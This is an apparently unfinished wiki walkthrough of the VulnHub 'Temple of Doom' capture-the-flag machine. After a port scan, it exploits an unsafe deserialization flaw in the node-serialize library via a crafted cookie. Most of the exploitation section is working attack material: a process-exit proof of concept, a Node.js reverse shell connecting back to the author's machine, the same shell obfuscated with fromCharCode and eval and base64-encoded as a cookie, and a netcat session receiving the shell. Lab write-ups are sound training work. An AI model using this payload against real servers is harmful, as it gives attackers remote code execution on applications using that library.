Temple of Doom: 1 ~ VulnHub - CTF Walkthrough

Revision as of 07:59, 30 July 2018 by Dmina (talk | contribs) (Exploitation)

Objective

Retrieve a flag located inside /root folder

Source: [VulnHub.com]

Status: [In Progress]

Methodology

Discovery

Setup some env vars to speed up our execution

$ export T=192.168.56.101

Service discovery

# Nmap 7.70 scan initiated Wed Jul 18 07:39:40 2018 as: nmap -sV -sT -T5 -p- -o /media/sf_VM_Transfer/Pentesting/Temple_of_Doom//nmap.txt 192.168.56.101
Nmap scan report for 192.168.56.101
Host is up (0.0017s latency).
Not shown: 65533 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.7 (protocol 2.0)
666/tcp open  http    Node.js Express framework
MAC Address: 08:00:27:BB:24:1C (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 18 07:40:19 2018 -- 1 IP address (1 host up) scanned in 38.75 seconds

Entry Point #1 - Port 666 (nodejs)

Enumeration

Hitting http://192.168.56.101:666 presents us with "under construction". Refreshing the page results in an interesting error.

SyntaxError: Unexpected token F in JSON at position 79
    at JSON.parse (<anonymous>)
    at Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)
    at /home/nodeadmin/.web/server.js:12:29
    at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
    at next (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
    at /home/nodeadmin/.web/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:335:12)
    at next (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:275:10)

Upon further examiniation as to what could've triggered that behavior it became apparent that their service is setting a cookie profile, containing some sort of base64 encoded string

eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D

Which decodes to the following JSON object.

'{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}7'

As we can see, there are obvious typos which will break JSON interpreter. What is more important at this point is that we have Something that breaks!!!! and so let's try using it to our advantage!

Exploitation

Getting a low-level shell

Checking the source code for serialize.js we confirm that it breaks while trying to de-serialize our cookie value (JSON.parse(obj)

  unserialize = function(obj, originObj) {
    var isIndex;
    if (typeof obj === 'string') {
      obj = JSON.parse(obj);
      isIndex = true;
}

But the more critical find inside that source is the following function which shows that if we fix our serialization error we may be able to get nodejs to execute an arbitrary piece of code!

        } else if(typeof obj[key] === 'string') {
          if(obj[key].indexOf(FUNCFLAG) === 0) {
            obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {

And as a proof-of-concept I'll use the exploit to do something fun - bring down the server! (or in more technical terms - force the server process to exit)

{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","execs":"_$$ND_FUNC$$_process.exit(0)"}

Refreshing the browser we now get Unable to connect - one of few times when this message is actually a good sight :)

<<< add more details what did not work and where to get more info on the subject .>>>

After trying and tweaking a few different pieces of code this is the one that ended up working for me (192.168.56.200 is the IP of my client / kali machine:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1337, "192.168.56.200", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

Before you can pass that as a Cookie value you need to compact that code into a string (I'm using http://jdstiles.com/java/cct.html but I'm sure there're better ways to do it, even off-line)

Compacting the above give us this

40, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 110, 101, 116, 32, 61, 32, 114, 101, 113, 117, 105, 114, 101, 40, 34, 110, 101, 116, 34, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 99, 112, 32, 61, 32, 114, 101, 113, 117, 105, 114, 101, 40, 34, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 34, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 104, 32, 61, 32, 99, 112, 46, 115, 112, 97, 119, 110, 40, 34, 47, 98, 105, 110, 47, 115, 104, 34, 44, 32, 91, 93, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 99, 108, 105, 101, 110, 116, 32, 61, 32, 110, 101, 119, 32, 110, 101, 116, 46, 83, 111, 99, 107, 101, 116, 40, 41, 59, 10, 32, 32, 32, 32, 99, 108, 105, 101, 110, 116, 46, 99, 111, 110, 110, 101, 99, 116, 40, 49, 51, 51, 55, 44, 32, 34, 49, 57, 50, 46, 49, 54, 56, 46, 53, 54, 46, 50, 48, 48, 34, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 99, 108, 105, 101, 110, 116, 46, 112, 105, 112, 101, 40, 115, 104, 46, 115, 116, 100, 105, 110, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 104, 46, 115, 116, 100, 111, 117, 116, 46, 112, 105, 112, 101, 40, 99, 108, 105, 101, 110, 116, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 104, 46, 115, 116, 100, 101, 114, 114, 46, 112, 105, 112, 101, 40, 99, 108, 105, 101, 110, 116, 41, 59, 10, 32, 32, 32, 32, 125, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 47, 97, 47, 59, 32, 47, 47, 32, 80, 114, 101, 118, 101, 110, 116, 115, 32, 116, 104, 101, 32, 78, 111, 100, 101, 46, 106, 115, 32, 97, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 32, 102, 111, 114, 109, 32, 99, 114, 97, 115, 104, 105, 110, 103, 10, 125, 41, 40, 41, 59, 10

Which we prepare for our Cookie as such:

{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","execs":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(40, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 110, 101, 116, 32, 61, 32, 114, 101, 113, 117, 105, 114, 101, 40, 34, 110, 101, 116, 34, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 99, 112, 32, 61, 32, 114, 101, 113, 117, 105, 114, 101, 40, 34, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 34, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 104, 32, 61, 32, 99, 112, 46, 115, 112, 97, 119, 110, 40, 34, 47, 98, 105, 110, 47, 115, 104, 34, 44, 32, 91, 93, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 99, 108, 105, 101, 110, 116, 32, 61, 32, 110, 101, 119, 32, 110, 101, 116, 46, 83, 111, 99, 107, 101, 116, 40, 41, 59, 10, 32, 32, 32, 32, 99, 108, 105, 101, 110, 116, 46, 99, 111, 110, 110, 101, 99, 116, 40, 49, 51, 51, 55, 44, 32, 34, 49, 57, 50, 46, 49, 54, 56, 46, 53, 54, 46, 50, 48, 48, 34, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 99, 108, 105, 101, 110, 116, 46, 112, 105, 112, 101, 40, 115, 104, 46, 115, 116, 100, 105, 110, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 104, 46, 115, 116, 100, 111, 117, 116, 46, 112, 105, 112, 101, 40, 99, 108, 105, 101, 110, 116, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 104, 46, 115, 116, 100, 101, 114, 114, 46, 112, 105, 112, 101, 40, 99, 108, 105, 101, 110, 116, 41, 59, 10, 32, 32, 32, 32, 125, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 47, 97, 47, 59, 32, 47, 47, 32, 80, 114, 101, 118, 101, 110, 116, 115, 32, 116, 104, 101, 32, 78, 111, 100, 101, 46, 106, 115, 32, 97, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 32, 102, 111, 114, 109, 32, 99, 114, 97, 115, 104, 105, 110, 103, 10, 125, 41, 40, 41, 59, 10))}()"}

The final, base64-encoded version looks like this:

eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiZXhlY3MiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IGV2YWwoU3RyaW5nLmZyb21DaGFyQ29kZSg0MCwgMTAyLCAxMTcsIDExMCwgOTksIDExNiwgMTA1LCAxMTEsIDExMCwgNDAsIDQxLCAxMjMsIDEwLCAzMiwgMzIsIDMyLCAzMiwgMTE4LCA5NywgMTE0LCAzMiwgMTEwLCAxMDEsIDExNiwgMzIsIDYxLCAzMiwgMTE0LCAxMDEsIDExMywgMTE3LCAxMDUsIDExNCwgMTAxLCA0MCwgMzQsIDExMCwgMTAxLCAxMTYsIDM0LCA0MSwgNDQsIDEwLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDk5LCAxMTIsIDMyLCA2MSwgMzIsIDExNCwgMTAxLCAxMTMsIDExNywgMTA1LCAxMTQsIDEwMSwgNDAsIDM0LCA5OSwgMTA0LCAxMDUsIDEwOCwgMTAwLCA5NSwgMTEyLCAxMTQsIDExMSwgOTksIDEwMSwgMTE1LCAxMTUsIDM0LCA0MSwgNDQsIDEwLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDExNSwgMTA0LCAzMiwgNjEsIDMyLCA5OSwgMTEyLCA0NiwgMTE1LCAxMTIsIDk3LCAxMTksIDExMCwgNDAsIDM0LCA0NywgOTgsIDEwNSwgMTEwLCA0NywgMTE1LCAxMDQsIDM0LCA0NCwgMzIsIDkxLCA5MywgNDEsIDU5LCAxMCwgMzIsIDMyLCAzMiwgMzIsIDExOCwgOTcsIDExNCwgMzIsIDk5LCAxMDgsIDEwNSwgMTAxLCAxMTAsIDExNiwgMzIsIDYxLCAzMiwgMTEwLCAxMDEsIDExOSwgMzIsIDExMCwgMTAxLCAxMTYsIDQ2LCA4MywgMTExLCA5OSwgMTA3LCAxMDEsIDExNiwgNDAsIDQxLCA1OSwgMTAsIDMyLCAzMiwgMzIsIDMyLCA5OSwgMTA4LCAxMDUsIDEwMSwgMTEwLCAxMTYsIDQ2LCA5OSwgMTExLCAxMTAsIDExMCwgMTAxLCA5OSwgMTE2LCA0MCwgNDksIDUxLCA1MSwgNTUsIDQ0LCAzMiwgMzQsIDQ5LCA1NywgNTAsIDQ2LCA0OSwgNTQsIDU2LCA0NiwgNTMsIDU0LCA0NiwgNTAsIDQ4LCA0OCwgMzQsIDQ0LCAzMiwgMTAyLCAxMTcsIDExMCwgOTksIDExNiwgMTA1LCAxMTEsIDExMCwgNDAsIDQxLCAxMjMsIDEwLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDk5LCAxMDgsIDEwNSwgMTAxLCAxMTAsIDExNiwgNDYsIDExMiwgMTA1LCAxMTIsIDEwMSwgNDAsIDExNSwgMTA0LCA0NiwgMTE1LCAxMTYsIDEwMCwgMTA1LCAxMTAsIDQxLCA1OSwgMTAsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMTE1LCAxMDQsIDQ2LCAxMTUsIDExNiwgMTAwLCAxMTEsIDExNywgMTE2LCA0NiwgMTEyLCAxMDUsIDExMiwgMTAxLCA0MCwgOTksIDEwOCwgMTA1LCAxMDEsIDExMCwgMTE2LCA0MSwgNTksIDEwLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDExNSwgMTA0LCA0NiwgMTE1LCAxMTYsIDEwMCwgMTAxLCAxMTQsIDExNCwgNDYsIDExMiwgMTA1LCAxMTIsIDEwMSwgNDAsIDk5LCAxMDgsIDEwNSwgMTAxLCAxMTAsIDExNiwgNDEsIDU5LCAxMCwgMzIsIDMyLCAzMiwgMzIsIDEyNSwgNDEsIDU5LCAxMCwgMzIsIDMyLCAzMiwgMzIsIDExNCwgMTAxLCAxMTYsIDExNywgMTE0LCAxMTAsIDMyLCA0NywgOTcsIDQ3LCA1OSwgMzIsIDQ3LCA0NywgMzIsIDgwLCAxMTQsIDEwMSwgMTE4LCAxMDEsIDExMCwgMTE2LCAxMTUsIDMyLCAxMTYsIDEwNCwgMTAxLCAzMiwgNzgsIDExMSwgMTAwLCAxMDEsIDQ2LCAxMDYsIDExNSwgMzIsIDk3LCAxMTIsIDExMiwgMTA4LCAxMDUsIDk5LCA5NywgMTE2LCAxMDUsIDExMSwgMTEwLCAzMiwgMTAyLCAxMTEsIDExNCwgMTA5LCAzMiwgOTksIDExNCwgOTcsIDExNSwgMTA0LCAxMDUsIDExMCwgMTAzLCAxMCwgMTI1LCA0MSwgNDAsIDQxLCA1OSwgMTApKX0oKSJ9

N.B. You can also use https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py to generate payload. Something I found but did not end up using all the way.

Kicked off a nc session on my client / kali host. Plugged in the encoded value into the profile cookie, refreshed the page and yei! we have a shell!

root@blaksec:# nc -vvnl -p 1337
listening on [any] 1337 ...
connect to [192.168.56.200] from (UNKNOWN) [192.168.56.101] 42730
ls

whoami
nodeadmin
pwd
/home/nodeadmin
python -c 'import pty; pty.spawn("/bin/bash")'

[nodeadmin@localhost ~]$

Final Notes

xxx

Appendix A: Vulnerability Detail and Mitigation

xxx
Rating High
Description xxxx
Impact xxxxxxxxxxxxxxxxxxxxxxxxxxxx
Remediation xxxxxxxxxxxxxxxxx